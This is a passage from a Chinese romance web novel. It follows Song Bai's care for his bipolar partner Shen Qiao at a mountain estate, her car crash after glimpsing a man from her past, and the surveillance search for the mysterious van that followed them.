沈荞又陷入了情绪的泥潭里,无法自拔。 她不吃饭、不睡觉、也不说话。 一次次将她从泥潭里拉出来的宋柏很平静,联系医生,给她换药。而察觉不对劲、从丰城赶回来的沈蒲蘅, 是第一次真正意义上看到妹妹发病时的模样。 她失了冷静, 不仅和医院和导师请了长假, 还直接搬进了沈荞26楼的家。 沈蒲蘅寸步不离贴身照顾着妹妹, 陈青野和宋柏在客厅对着夜色喝酒。 “累吗?” 陈青野问。 宋柏笑笑不语。 “为什么?” 陈青野又问。 宋柏抬眸。 “什么为什么?” “为什么是她。”陈青野语气坦诚, “你可以有更好的选择。” 不是他觉得沈荞不好,作为妹妹, 她足够好。可站在现实角度,无论做恋人, 还是未来的妻子,她都算不上是个好的选择。 作为姐夫, 他即便不和沈荞同处一个屋檐下,只是在她情绪相对稳定的情况下相处,他偶尔也会觉得头疼。 而他也清楚, 沈荞在宋柏面前, 从不会像在她姐姐和他面前那样有所收敛。她把所有最坏的一面,全都留给了宋柏。 平心而论, 以宋柏的条件,他有无数更好、更省心的选择。 宋柏抿了一口酒, 反问:“那 你为什么选择她?” 陈青野沉默片刻:“我们不一样。” 他和沈蒲蘅,是在彼此最狼狈的时候相遇, 一路互相支撑,才走到今天。 宋柏指尖摩挲着冰凉的杯壁,声音很轻, 却深沉。 “我和你,没什么不一样。” 他抬眼,望向那扇紧闭的卧室门。 “我不是在挑一个最合适的人。” “我是只要她。” 这些年,主动靠近他的女人数不胜数。 长得漂亮的、家世优越的、温柔懂事的,要什么有什么。 他从不把这些女人看进眼里,直到沈荞出现。 她不仅脾气差,会打他、没良心,心里装着别人,眼里只有她姐姐,还得了一辈子都无法彻底痊愈的精神疾病。 可偏偏就是这样一个她,让他丢不开,也舍不掉。 哪怕她这一辈子都未必会爱上他,他也认了。 是他离不开她,不是她离不开他。 他一旦放手,不用提别人,那个陈延一定会第一时间出现,把她从他身边带走。 他不会给任何人机会。 他会把她留在身边,一辈子。 “我打算带她搬去郊区。” 陈青野并不意外。 他和宋康关系不错,自然知道,这一年多,宋柏一直在把集团的权力逐渐下放给宋康,让他接手更多事务。 用宋康的原话来说:“我二哥说,这家业反正以后也不是他后代的,他干嘛累死累活。我二哥到底什么意思?家里又没人和他抢这份家业……” 宋康不懂,陈青野却一清二楚。 不是因为争家业,而是宋柏根本就不打算有后代。而这,全是因为沈荞。 这也是他今天会问宋柏的原因。 他在确认宋柏会不会有一天后悔。 他也是男人。他算不上多喜欢孩子,只是因为爱着身边的人,所以才会期待,能和她拥有一个属于彼此的小生命。 而宋柏,为了沈荞,连“拥有”的念头都不曾有过,直接放弃了一切。 宋柏一直以为,这一年多他对他态度渐好,是因为送花的误会澄清了。 实则不然。 陈青野对宋柏改观,是因为宋柏为沈荞做的所有事。 不只是有宋柏在,让他和沈蒲蘅轻松了许多。 更是因为,作为一个男人,他扪心自问,未必能比宋柏做得更好。 看着妹妹睡熟,沈蒲蘅轻手轻脚从房间里走出,听闻宋柏想带她妹妹搬去郊区静养,她没有反对。 “能多接触自然,对她的情绪和身体都好。只是……”沈蒲蘅话音微顿,眼底掠过一丝疑虑,“傅英是谁?” 宋柏抬眸,目光沉沉落在她身上。 “荞荞睡着的时候,一直在喊这个名字。” 宋柏沉默不语,沈蒲蘅也没有勉强。 她缺席了妹妹整整二十年的人生,这二十年里,自然会有无数她未曾参与的人与事。 她只轻声问:“这个人,对她很重要,对不对?” 宋柏喉间微涩:“很重要。” 即便他再不愿承认,这也是事实。 “不过,以后别再在她面前提起这个名字。” 沈荞这一次病情反复,就是因为她在强迫自己接受傅英已经死了的事实。 等她真正走出来,或许连她自己,都不会再轻易想起这个名字。 沈蒲蘅轻轻点头,转身回了房间。一直沉默立在一旁的陈青野,这才缓缓开口。 “傅英,就是当年从云南把她带走的那个人,是吗?” 宋柏依旧沉默。 没有否认,便是最直白的承认。 陈青野也没有再多问。 这一次,沈荞陷在情绪泥潭里的时间短了许多。大概是这两年多,她早已在一点点试着接受那个对她而言残酷的事实。 精神和情绪慢慢恢复期间,沈荞也重新变回了从前那般黏着宋柏的模样。她像是彻底忘了出国前和他的置气,只剩下毫无保留的依赖。 宋柏提出带她搬去郊区,她也没有异议,只轻声问了一句:“那姐姐呢?” 宋柏放柔语气:“你姐姐家会建在隔壁,她周末可以过来,你想她,也可以随时回来。” 他原本计划带沈荞去瑞士,可她太过依赖姐姐,他只能退而求其次,选在京城郊区。 说是郊区,可环境与配置却并不敷衍。 宋柏买了一座山,在半山腰建了一座庄园,建筑风格与他们当初在西西里居住的那幢类似。 西西里推窗见海,这里则开门见山。 比起西西里的庄园,这里还多了马房、网球场,甚至还有一间小巧的鸡舍。鸡舍里养着的,正是当初下雨天,沈荞不顾泥泞也要抱进屋里的那几只芦花鸡。 搬去郊区当天,沈蒲蘅亲自送沈荞过来。人刚踏入庄园,沈荞便仰着头,认真地问:“姐姐,你们的房子在哪里?” 沈蒲蘅一怔,显然对此毫不知情。 陈青野伸手揽住她的肩,朝不远处一片平整的空地示意。 “已经请了设计师,喜欢什么风格,我们自己建。” 沈蒲蘅满脸诧异,陈青野低声解释:“地是宋柏的,建在这里,你们姐妹俩也方便互相照应。” 陈青野如今虽是风头正盛的科技新贵,可公司仍在扩张阶段,处处需要资金投入。他能在市区买下大平层,却做不到像宋柏这般财大气粗,直接在京郊买下整座山。 就算他有这个能力,也总不能让姐妹俩隔着一座山来回奔波。他只能接受宋柏的安排,将房子建在早早预留的地块上。 当然,新房建成之前,他们周末过来,也只能暂住在宋柏的庄园里。 庄园环境清幽,还没开学,医院也请了假,沈蒲蘅就留在了庄园陪着妹妹。 住在城市里没有施展空间,如今身处山间,有整片山林可以支配,学中医出身的沈蒲蘅,动了种植中药材的心思。 宋柏毫不在意,任由她想种在哪里便种在哪里。 本还懒洋洋提不起劲的沈荞,一听姐姐要种中药,立刻来了兴致。农村出身的何婶也笑着搭手,说要帮忙打理。 三个女人,在保镖的陪同下,兴致勃勃地往庄园周边开拓。 沈蒲蘅挑好了适合种药材的坡地,何婶也圈定了一片菜园,原本清幽雅致的庄园,渐渐有了烟火气,还隐隐有了几分农家乐的模样。 宋柏本无所谓,直到宋康带着未婚妻苗妙来,听说陈青野和沈蒲蘅要在这建房,当即凑到宋柏面前。 “二哥,你也给我划块地呗?” 宋柏冷眼一扫,语气冷硬:“滚。” 宋康碰了一鼻子灰,转而去找陈青野。陈青野淡淡一笑:“你求错人了。” 宋康顺着他的目光望去,落在人群里最安静乖巧的沈荞身上,一时怔住。 他怎么也没想到,当初不过是帮陈青野和沈蒲蘅的忙,求着二哥去找的小姑娘,竟会成了他的准二嫂。 和陈青野、沈蒲蘅不同,宋康至今都不知道沈荞的病情。在他看来,沈荞年纪小、性子软,愿意跟着他二哥,一定是二哥趁小姑娘身边无依无靠,乘虚而入。 可再看他二哥看向沈荞的眼神,温柔得与刚才瞪他时判若两人,宋康又忍不住好奇。沈荞到底是怎么收服他这冷清冷心的二哥的。 四下无人时,宋康再次凑到宋柏身边。 这一次,不是为了要地,而是替长辈传话:“二哥,大伯母今天又问我了,问你是不是交女朋友了。” 魏书平车祸身亡,魏霖紧随其后跳楼自尽,父子俩短短两天内双双离世。银行与合作方不给魏家半分喘息之机,逼债上门。魏太太走投无路之际,宋康遵照老太太的意思,带着一对孩子上门,参加了魏家父子的葬礼。 直到那时,京城整个圈子,包括魏太太在内,才知道魏箐早已为宋家长房生下了一对龙凤胎。 虽是第一次正式露面,还是在如此沉重的场合,却也足够让所有人看清宋家的态度。 原 本步步紧逼的银行与合作商顿时有了顾忌,也终于给了魏家一丝喘息的余地。达到目的的宋康,没有理会魏太太对着一双孩子泪流满面,径直带人离开。 孙子孙女过了明路,老太太不操心大儿子,又开始操心起小儿子。 这一年多,她虽然忙着照顾昏迷不醒的长媳,和一双年幼的孙辈,却也断断续续听到风声。 宋柏不仅有了女朋友,还护得密不透风。 老太太不是没有当面质问过宋柏,只是每次都被他轻描淡写糊弄过去。 眼看从宋柏这儿撬不出半个字,老太太便转头拿捏起了宋康。 和油盐不进的宋柏不同,宋康一向敬重长辈。 一边是步步紧逼的大伯母,一边是半点不肯松口的二哥,他夹在中间,左右为难。 眼看宋康一脸为难的模样,宋柏懒得再看他磨叽。 他直接掏出手机,当着宋康的面,拨通了老太太的电话。 “妈,别再为难宋康了。”宋柏语气平淡,“我是有女朋友了。” 电话那头,老太太欣喜若狂,连声追问是哪家的姑娘,人品如何、家世怎样。 宋柏也没隐瞒:“还记得之前,您借我名义送过花的那位沈医生吗?” 老太太当然记得,只是下一瞬又急了:“沈医生不是早就成家了?儿子,妈当初是以为她单身才……你可不能干破坏别人家庭的事。” 宋柏淡淡道:“不是她,是她妹妹。” 老太太一听,又立刻高兴起来,先是催着宋柏尽快把人带回家见见,又反复叮嘱,千万不能糊涂,让人家小姑娘未婚先孕。 宋柏抬眼,看向不远处正跟着何婶一起挖土种菜,脸上手上沾满了土却笑得清澈的纤细身影,唇角弯了弯。 “放心,不会。” 电话那头的老太太刚松了口气,便听见宋柏轻飘飘一句: “我弱精。” 话音落下,不止电话那头的老太太一口气险些没提上来,连站在一旁的宋康,都猛地僵住,脸上写满错愕。 宋柏不等老太太反应,神色淡然直接挂断了电话。而宋康愣了好几秒,才从震惊里缓过神来。 原来如此。 这就是他二哥这一年渐渐放权的原因。 宋康斟酌着开口,语气小心翼翼:“二哥,现在试管技术很成熟了,你也不用太……” “担心?” 宋柏嗤笑一声,眼神冷淡,带着几分漫不经心的嘲讽。 “我有什么好担心的。” “谁爱生谁生,我没兴趣。” 宋康张了张嘴,欲言又止。最终还是把话咽了回去,迟疑着问:“那……沈荞呢?她是什么想法?” 宋柏缓缓转眸,目光越过人群,落在那张巧笑嫣然的脸上。眼底的冷硬,无声融化。 夜色渐深,四下寂静。 宋柏纵容着她在自己身上胡闹,陪着她闹了两回,才俯身将她打横抱起,缓步走向浴室。 整座庄园里,所有浴室都没有安装浴缸。宋柏半环半抱着已然困顿不堪的她站在淋浴头下,耐心细致替她清洗干净,再将她轻轻抱出去,让她安稳躺在自己腿上。一手拿着吹风机,一手梳理着她湿漉的长发,给她吹着发。 抚过她发丝的指腹温柔,风温热。 沈荞的眼皮越来越重,就在她即将彻底陷入沉睡时,耳边的风声停下,取而代之的,是他低沉磁性、带着几分认真的嗓音。 “你喜欢孩子吗?” 沈荞艰难地掀开沉重的眼皮,迷迷糊糊呢喃:“姐姐怀孕了吗?” 宋柏声音放轻:“不是,只是问问你。” 沈荞重新闭上眼,往他怀里蹭了蹭,声音温软:“姐姐的,我喜欢。其他的,不喜欢。” 宋柏:“不喜欢,那就不要。” 即便她哪天改了主意,想要,领养就好了。 无论如何,他都不会让她怀孕。 先不提什么遗传不遗传。单是她,医生就说过,她如果怀孕,就得断药,断药后她即便撑过孕期,也熬不过产后抑郁。 什么血脉传承,什么家族延续,他从来都不在意。更别提拿她的生命去赌。 宋柏靠在床头,指尖轻轻抚过她柔软的发丝,床头的手机忽然轻轻震动了一下。 他拿过一看,是老太太发来的语音。 点开,老太太带着担忧又认真的声音缓缓传出。 “儿子,有病咱就治,治不好,我们也别耽误人家姑娘啊。” 听完语音,宋柏轻笑一声。 放下手机,侧身躺下,他轻轻拉过被子,将怀里的人抱得更紧,和她一同深深沉入安稳的睡梦中。 第63章 惊喜 搬到郊区的日子, 平静且祥和。 挑好用来种植药材的田地还没来得及开垦,沈蒲蘅就被导师紧急传唤回了学校,只留下宋柏在庄园里陪着沈荞。 比起在市区时的安静,来到郊区的沈荞, 明显鲜活活泼了许多。 天不亮就爬起来去喂鸡, 喂完鸡又忙着帮她姐姐开垦荒地。何婶心疼她年纪小身子弱, 只敢给她一把小巧的木耙, 她就拿着那把小耙子一点点慢慢翻土, 一天下来也开不出多少地,可脸上的笑容却越来越多。就这么折腾一整天, 到了晚上,她还有精力在床上缠着他胡闹。 这样的日子一连过了半个月, 本以为她状态开始好转的宋柏,渐渐察觉出了不对劲。打电话问医生, 医生说她这是进入了躁狂期。 原来…… 她的躁狂期,不一定非要砸东西、发脾气才算是发作。 宋柏心里原本担心,可一抬眼看见她眼底纯粹的笑意, 又什么都说不出来, 只是默默让医生调整了她的用药剂量。 这样的状态又维持了一周,一场突如其来的大雨, 彻底打断了她兴奋的状态。 宋柏醒来时,她难得还躺在他身边。睁着眼一动不动盯着天花板发呆, 眼神空洞。 宋柏什么也没问,什么也没说, 只是伸手将她揽进怀里,紧紧抱住。 沈荞的情绪反反复复,时好时坏, 这样的状态足足持续了近三个月。等京城彻底入冬时,她才终于慢慢稳定下来。 清晨,坐落在郊区的庄园,迎来了入冬的第一场雪。沈荞懒懒窝在宋柏怀里,望着窗外飘飞的白雪,轻声问他:“姐姐什么时候过来啊?” 这几个月,沈蒲蘅几乎每周都会抽空过来,只是时间从不固定。而沈荞,就守在这座安静的庄园里,安安静静地等着姐姐,时不时问宋柏一句。 宋柏手里拿着护手霜,挤出一截,牵起她这几个月天天耙地、掌心都磨出薄茧的手,一点点给她涂抹均匀。 “冬天了,医院病人多,你姐姐说过两天就过来。” 沈荞小声嘟囔:“可是……我都已经十天没看到姐姐了。” 宋柏语气不急不缓:“那我现在带你回市区看她。” 沈荞刚要点头,又忽然顿住:“明天吧,我答应了何婶,明天陪她去集市。” 他们住在半山腰,虽没有紧邻的邻里,周边却散落着不少村落。村子多了,久而久之便形成了集市。何婶也是外出采购时,无意间发现附近居然还有定期开放的集市。 问过宋柏的意思后,何婶便常常带着沈荞一起去。 集市上热闹喧嚣,烟火气十足,都是沈荞从前从未见过的新鲜玩意儿。那淳朴又纯粹的民风,更是她从没有体会过的。 集市上的摊主们见沈荞娇娇小小、乖乖巧巧,每次结完账,都会往她袋子里多塞点东西。沈荞也总是弯着眼,礼貌地道谢。 久而久之,本并不喜欢融入人群的沈荞,慢慢喜欢上了去集市。宋柏也陪她去过一次,只是他出众的长相和周身冷冽的气场,与满是烟火气的集市格格不入。只一次,沈荞就再也不让他跟着了。 第二天,沈荞再去集市,买的东西比往常多了不少。何婶觉得奇怪,沈荞只弯着眼对她笑:“带回去给姐姐。” 何婶这才知道,沈荞打算回市区。 而宋柏,早已收拾妥当,等着她。 等她从集市满载而归,他牵起她的手,带她上了车。 车外寒风凛冽,车内暖气十足。 一早就起床赶集市的沈荞,上车没多久就困得睁不开眼。宋柏微微调整坐姿,拿起一旁的大衣,轻轻拍了拍自己的大腿。 沈荞很自然躺了下去,宋柏将大衣盖在她身上,手掌轻搭在她肩上,一下下拍着。 “睡吧。” 从郊区驶入市区,车程将近两个小时。宋柏看着文件,躺在他大腿上的沈荞则睡得深沉。 车子 驶入市区时,已经是中午。宋柏轻声叫醒她,带她吃过午饭,才问她。 “想去你姐姐家等,还是跟我去公司?” 沈荞思索了下,还是决定去姐姐家。 宋柏有个会议,只送她到了楼道口。 几个月没回来,老旧的楼道重新翻新刷过漆。沈荞一路走上四楼,站在姐姐家门口,按上指纹解锁时,下意识瞥了一眼对面那扇门。 陈延,已经很久没有消息了。 她正出神,门锁“嘀”一声弹开。一只毛茸茸的小狗从门缝里窜出来,热情地扑向她。沈荞被打断思绪,唇角弯起笑意,蹲下身抱起小狗,转身走进屋里。 楼道虽焕然一新,屋内却还是老样子。就算她许久不回来,她的房间也一直被好好留着,一尘不染,连被套都是新换的。 她回市区的事,并没有提前告诉姐姐,一看就知道,是她姐姐一直细心打理着这间她很少居住的房间。 沈荞抱着小狗在屋里里打转,保镖也把沈荞从集市里买回来的东西拎了上来。 * 沈蒲蘅拖着一身疲惫从医院出来时,天已经彻底黑透了。她沿着路灯慢慢走回家,一抬头,就看见自家窗户里透出的那片暖光。 她还以为是陈青野回来了,正纳闷他今天怎么这么早,推开门,就看见客厅里坐着一道熟悉的身影,正对着她温柔地笑。 “姐姐,你回来啦?” 是沈荞。 她的突然出现,已经足够让沈蒲蘅惊喜,而更让她心头一暖的,是桌上满满一桌子热气腾腾的菜。 “荞荞,这些……都是你做的?” 沈荞轻轻点头。 这几个月,她除了打理着姐姐想种药材的地,也跟着何婶学起了下厨。这件事她一直没声张,就连姐姐去庄园看她时,她也没露过半分,就是想给姐姐一个惊喜。 沈蒲蘅确实又惊又喜。就连随后和宋柏一起进门的陈青野,脸上也露出了几分难得的意外。他不是惊讶沈荞会做菜,而是惊讶宋柏居然会舍得让她进厨房。 一顿饭下来,沈荞被夸得眉眼弯弯,称赞大多来自她姐姐,至于陈青野的话,她直接选择性忽略。 饭后,洗碗的活照旧是陈青野的。姐妹俩窝在客厅里说悄悄话,宋柏则倚在厨房门边,安静看着陈青野洗碗。 “不考虑请个保姆?” 在商场沉浮多年,宋柏见过太多人,却从没见过像陈青野这样的。明明身家不低,也赚了不少钱,却依旧守着这套不足百平的老房子,在狭小的厨房里弯腰挽袖,做着许多普通男人都不愿做的琐事,连个保姆都没请。 陈青野手上动作没停,语气平淡:“她爱干净,不喜欢陌生人进家里。” 这一点,她们姐妹倒是一模一样。 宋柏没再多问,只淡淡开口:“麦通半导的黄科约我明天打球,你一起过来。” 这一年多,宋柏虽在逐步将集团的核心事务交给宋康,可他自己创立的投资公司和其他产业,却始终在他掌控中。 这两年国际局势动荡,芯片进口遭遇层层制裁,陈青野的无人机公司受了很大影响。想要再进一步,就必须转向内求,实现核心技术自主。 他早前和宋柏提过一嘴,想要自主研发芯片的想法,宋柏记在了心里,正好有半导行业的人找上门要投资,他自然也不介意顺势帮陈青野牵个线搭个桥。 提到工作的事,陈青野的神情也变得专注。两个高大的男人,就站在狭小的厨房边谈起了工作。 工作谈得差不多,两个男人再回头,坐在沙发上的姐妹俩已经头靠头,昏昏欲睡了。 两个男人对视一眼,不约而同迈步朝沙发走去。刚走近,原本困顿的沈荞迷迷糊糊睁开眼,一看见面前的两人,立刻伸手紧紧搂住了身边的姐姐。 “今晚我要和姐姐睡。” 沈蒲蘅也被这动静扰得清醒了几分,睁眼,顺着她妹妹的话轻声道:“今晚荞荞就跟我睡吧。” 姐妹俩要一起睡,两个男人自然只能独守空房。两人又一次无言对视,宋柏率先开口:“喝一杯?” 两个男人喝到了半夜,第二天沈蒲蘅一早醒来时,还能隐隐闻到了客厅里的酒气。她还没来得及皱眉,门铃响了。 她打开门,站在门后的是手里拎着大包小包的宋柏。 沈蒲蘅侧身让宋柏进门,宋柏把手上的东西放到了餐桌上,沈蒲蘅这才发现,都是各个餐厅的打包袋。 “这些都是?” “早餐。” 宋柏自小养尊处优,连杯子都没洗过一个,更别提让他像陈青野那样,挽袖子下厨。 他不会下厨,但有钱,也有人。 沈蒲蘅去洗漱时,宋柏也转身进了沈荞的房间。她闷头睡得正香,宋柏俯身把她的脑袋从被窝里挖出来,然后捧着她的脸亲她。 把她亲醒亲烦后,还没等她发脾气,宋柏开了口。 “我今天和陈青野有事要出去,不能陪你。你要跟我们一起,还是呆在这。” 沈荞眨了眨困顿的眼:“你们要去哪?” 宋柏:“去俱乐部打球。俱乐部还有SPA,桑拿,你可以去做个SPA,SPA做完,我们应该也结束了。俱乐部附近,有一家川菜馆不错,结束了带你去吃?” SPA沈荞没什么兴趣,但是川菜她想吃。 “好。” 出发去俱乐部时,宋柏没坐自己的车,而是带着沈荞上了陈青野的越野车。 陈青野负责开车,宋柏坐在副驾,两人低声聊着工作,沈荞则安安静静靠在后座刷着手机,一路无话。 车子抵达俱乐部,刚停稳,早就等候俱乐部在的黄科立刻笑着迎了上来,本就没有几根的头发在风中凌乱。 “宋总,陈总,外面下着雪,一路过来不好开吧。 陈青野把钥匙递给泊车员后和黄科客套寒暄,宋柏则神色淡淡走到后车门,伸手拉开,牵着沈荞下车。她刚站稳,宋柏抬手替她拢了拢大衣领口,随后牵住了她。 一旁和陈青野说话的黄科视线落在两人十指相扣的手上,目光微顿。再抬眼看向宋柏,见他面色冷淡,半点没有要介绍身边人的意思,他也识趣没有多问,只维持着笑意,引着几人往俱乐部内走。 这家俱乐部规模不算大,但胜在足够私密,能进来的都是有头有脸的人。可即便如此,宋柏仍吩咐许莫言陪着沈荞去做SPA。 “结束了给我打电话,我去接你。” 这话是对沈荞说的,站在一侧黄科却听得明白。 宋柏留给他的,也就只有一场SPA的时间。 换好衣服进入网球场,黄科不再绕弯子,开门见山。宋柏一边打球,一边听着,态度不温不火。黄科正有些讪讪,陈青野适时开口,和他搭起话来。 和宋柏这种手握资本、并不深入行业的投资人不同,陈青野是实打实扎根在行业里的人。 和专业的人沟通,黄科明显自信了许多。当他听说陈青野有意自主研发芯片时,脸上也露出几分惊讶。 “陈总,研发芯片可不是一朝一夕的事,需要投入大量的人力、物力、财力,周期太长,风险也大。我花了这么多年,才有一些进展。” 一场球打完,陈青野和黄科已经聊得颇深。宋柏只是擦了擦手,淡淡对黄科道:“资料先留下,我看过后再给你答复。” 黄科识趣告辞离开。 等人走后,宋柏擦了擦额角的薄汗,走到陈青野身边坐下。陈青野顺手拧开一瓶水递给他,他接过喝了一口,才抬眼问道:“聊得怎么样?” 陈青野沉声道:“黄科是研发出身,技术底子没问题,但公司资金链已经快断了,撑不了多久。” 宋柏点头:“与其从零开始砸钱研发,不如直接收购。” 陈青野微怔:“你是说……收购麦通?” 宋柏抬眸看他:“你在顾虑什么?” 陈青野眉头微蹙:“麦通现在虽然遇到瓶颈,但技术底子还在。黄科到处找投资,说明他还不想放弃控制权,未必肯接受 收购。而且,我目前也调不出足够的资金。” 宋柏语气淡淡:“资金的事,你不用愁。” 陈青野刚要开口,宋柏又继续道:“我是可以给你投,但你其实有一个比我更好的选择。” 话音刚落,不远处,一道纤细的身影在保镖护送下缓缓走来。 陈青野顺着他的目光看去,瞬间明白了什么,回头深深看了宋柏一眼。 宋柏唇角微勾,不动声色地朝他点了下头。 大冷天,沈荞本就犯懒,做完SPA的她,整个人更软得像没了骨头,走到宋柏面前,她直接懒懒往他身上一靠,声音慵懒。 “可以去吃饭了吗?” 宋柏低低笑了一声,站在一旁的陈青野看着沈荞这副懒洋洋模样,眼底的审视,更深了几分。 一行人走出俱乐部时,天空又飘起了雪。 泊车员将车开到门口,稳稳停住。 保镖各自上车,陈青野从泊车员手中接过车钥匙。车门解锁,宋柏牵着沈荞,刚要弯腰上车,余光忽然扫到一道身影的沈荞,脚步一顿,呢喃出声。 “阿峰……” 宋柏听到声音,却听得并不真切,刚要低头问她怎么了,就看见她神色恍惚,眼神轻飘。 而沈荞,在喊出那个名字的瞬间,理智已经彻底断了。 就在宋柏低头看她时,她猛然抬手推开宋柏,宋柏猝不及防,掌心一空,还没来得及攥回她的手腕,她已经扑向了陈青野。 不等陈青野反应,沈荞已经一把抽走他指间的车钥匙。陈青野下意识攥紧,却已经迟了,他眼睁睁看着钥匙被沈荞抢走。 “沈荞!” 宋柏低喝一声,刚要伸手去拦,沈荞已经拉开驾驶座车门,抬腿坐了进去。引擎几乎是立刻被点燃,轰鸣声后,车子疯了一般冲了出去。 宋柏脸色骤沉,当即要去追。 可腿刚迈开,眼前的一幕让他心脏骤停。 积雪路滑,陈青野的越野车本就车身沉重、惯性极大,再加上沈荞本就不常开车,车子刚开出去便开始打滑。她慌乱之中猛踩刹车,车身瞬间失控甩向路边,伴随着一声刺耳的巨响,车直直撞在了一旁粗壮的树干上,随即腾起一片白色的烟雾。 “沈荞!” 宋柏瞳孔骤缩,所有冷静瞬间崩断,他几乎是狂奔过去。 奔到车前,他一把拉开变形的车门,扑面而来的是气囊的粉末味和淡淡的血腥味。 沈荞趴在方向盘上,额角磕出一道伤口,温热的血顺着眉骨往下淌,眼神却依旧固执盯着前方的方向。 直到宋柏颤抖着声音唤她,她才缓缓转眸。 看向他时,她眼底满是偏执和慌乱,整个人控制不住地发抖,却仍死死抓着他,一遍又一遍呢喃: “宋柏……开车……追上去……阿峰……” “是阿峰……” 第64章 最后的退路 阿峰? 宋柏根本不知道这个名字是谁, 此刻也没空细想。他强压下心头的惊悸,柔声安抚:“好,马上追,他长什么样子?” 沈荞红着眼眶, 声音破碎:“面包车……” 宋柏抬眼, 看向匆匆奔至身侧的许莫言。许莫言立刻心领神会, 带着几名保镖转身疾步离去。 宋柏重新看向驾驶座上的沈荞, 手心止不住发颤, 不敢轻易触碰她。 “告诉我,哪里疼?” 沈荞只是拼命摇头。宋柏也顾不上其他, 弯腰小心翼翼将她从变形的车厢里抱了出来。 保镖早已将车停在路边等候,宋柏抱着她几步便坐进车里。行走间, 沈荞额间的血沾在他的衣领上,晕开一片刺目的红。 两人上车后, 脸色深沉的陈青野扶着车门微微俯身,沉声道:“你带她去医院,这里我来处理, 随时电话联系。” 宋柏面色铁青, 重重点头。 车厢里一片死寂,只有车子碾过冰雪路面的轻响, 还有沈荞微弱的喘息。 她还在发抖,额角的血虽被他简单按住, 却依旧渗过帕子,染到他掌心, 黏腻又温热。宋柏绷着手臂,保持着同一个姿势不敢动,也不敢用力。 他垂眸, 视线落在她苍白的脸、颤抖的唇、还有那道刺目的伤口上。每看一眼,心口就被狠狠攥紧一次。 刚才雪地失控撞树的画面,在他脑海里反复回放。 让她这样的,又是一个他连听都没听过的名字。 宋柏喉结滚动,压下心底翻涌的戾气,低头,将下巴轻轻抵在她发顶。 他没问她阿峰是谁,没问她为什么失控成这样。 他怕一问,就又刺激到她。 * 司机稳稳把车停在医院急诊门口,早已等候的医护人员立刻围上来。宋柏弯腰,小心翼翼将沈荞打横抱起,动作轻得不能再轻,生怕牵扯到她半分。 而沈荞,无意识地揪住他的衬衫,喃喃重复: “追……阿峰……面包车……” 宋柏脚步一顿,低头看她。 他抬手,轻轻拂开她粘在血渍旁的碎发,动作温柔。 “许莫言带人去追了。” 将她轻轻放在推床上,看着她被推进急诊室,宋柏僵立在门口,掌心还残留着她的血与温度。 下一秒,他转身,拿出手机,拨通电话。 电话刚接通,那边立刻恭敬出声:“老板。” 宋柏看着紧闭的急诊门,眼神阴冷。 “追到了吗?” “没有,我现在回俱乐部查监控。” * 许莫言回到俱乐部时,陈青野已经把监控调出来。 俱乐部监控角度有限,从仅有的画面里,确实能看到,在他们一行人走出门口时,大路边停着一辆面包车。沈荞失控前,也确实有一道身影上了那辆车。 但也仅此而已,面包车停的位置在大路边,俱乐部监控拍不到更多细节,就连车牌都看不清。 看完监控,许莫言当即出门拨通了李程的电话。 自从被派往美国调查魏箐的车祸后,李程便一直负责魏箐和一对龙凤胎的安全,不再贴身跟随宋柏。眼下需要调取全程道路监控,他只能联系李程。 许莫言给李程打电话时,陈青野也给沈蒲蘅打了一个电话。 沈蒲蘅红着眼匆匆赶到医院时,沈荞刚好被送进病房。她和宋柏一起,站在走廊听医生交代检查结果。 “只是轻微脑震荡,头上的伤口也处理好了,问题不大,好好休养两天就能恢复。” 沈蒲蘅长长松了口气,转眸看向宋柏。 宋柏:“今晚你能照顾她吗?” 沈蒲蘅点点头。 “好,那我进去和她说两句话。” 话落,宋柏推门走进病房。 躺在病床上的沈荞脸色虽苍白,人却清醒,看见他进来,撑着手便要起身。宋柏快步上前,伸手轻轻把她摁了回去。 “不要乱动,医生说你脑震荡。” 沈荞张了张嘴想说话,宋柏先一步打断她。 “我知道,你要找阿峰。我会把人给你找出来,前提是你乖乖躺着。” 沈荞抬眸看向他,眼底水光闪烁。 “我去安排找人,今晚你姐姐陪你。要是不想她担心,就好好休息。” 沈荞温顺点头,宋柏俯身,轻轻吻了吻她的眼角,转身走出病房。 再走出病房,宋柏并没有和沈蒲蘅多言,只说了句“有事给我打电话”,随后就带着两个保镖转身离开。 沈蒲蘅看着宋柏消失在走廊尽头后,揉了揉脸,硬扯出了一个笑脸,随后推开病房门,走了进去。 沈蒲蘅陪着沈荞的时候,陈青野和宋柏的办公室和他汇合。 凭借陈青野与宋柏两方的人脉,俱乐部周边所有道路监控,很快便全部调取到手。 宋柏俯身盯着电脑屏幕,目光冷得骇人。 画面清晰地显示。一辆银色面包车,在他们一行人刚进入俱乐部不到几分钟,就悄无声息停在了路边拐角,一停就是许久,始终没有挪动过半寸。 直到大半个小时后,几道带着帽子的黑影突然从暗处窜出。 其中一人上前,抬手敲了敲面包车的车门。 门应声拉开,几个人迅速钻进车厢。紧接着,两道人影拉开主驾驶位车门,控制住司机,直接将人拖下车,干脆利落打晕,随后反手塞进了面包车后车厢。 全程动作迅速、利落、训练有素,没有半分多余的动静。 做完这一切,一道高大的黑影弯腰坐进驾驶座,取代了原本的司机。 而最后留在车外的那人,在关门前,缓缓抬起头,环顾了一圈四周,像是在确认有没有目击者、有没有监控。 隐藏在面罩下的那双眼睛,隔着监控画面,都能感受到那眼神里的锐利。 而此时画面上的时间,和他们一行人走出俱乐部的时间正吻合。 宋柏盯着监控画面上的黑影,看了许久。坐在一侧的陈青野问他。 “他就是沈荞嘴里的阿峰?” “是什么人?” 宋柏摇头:“我不知道。” 宋柏确实不知道,更是不知道她是怎么瞥一眼,就认定这个完全看不出样貌的人,是她认识的人。 除非,她朝夕相处过,熟悉的不能再熟悉。 他本以为陈青野或许能给他答案,眼下看来,陈青野也不认识。 他不认识,陈青野也不认识,那答案只有一个。 是傅英的人。 宋柏陷入沉思时,许莫言带着保镖,在沿着面包车来时的路径倒查。 很快,他便查出了不对劲。 这辆面包车,从昨夜起就一直停在沈蒲蘅和陈青野居住的小区外。早上他们一行车队驶出小区时,这辆车便悄悄跟上,一路上始终保持着不远不近的距离,与另外两辆车交替换位,一路尾随他们到俱乐部。 这个发现,让宋柏和陈青野的脸色同时一沉。 陈青野倏然起身:“你留了多少人在医院?” 宋柏:“李程带人在医院守着。” 陈青野眸色凝重:“对方冲谁来的?” 宋柏:“都有可能。” 最大的可能,是冲沈荞来的。 宋柏起身走到酒柜旁,倒了一杯酒。陈青野站在一旁,许莫言则去角落里打电话,追查三辆车的车牌信息。 结果毫不意外,全是套.牌车。 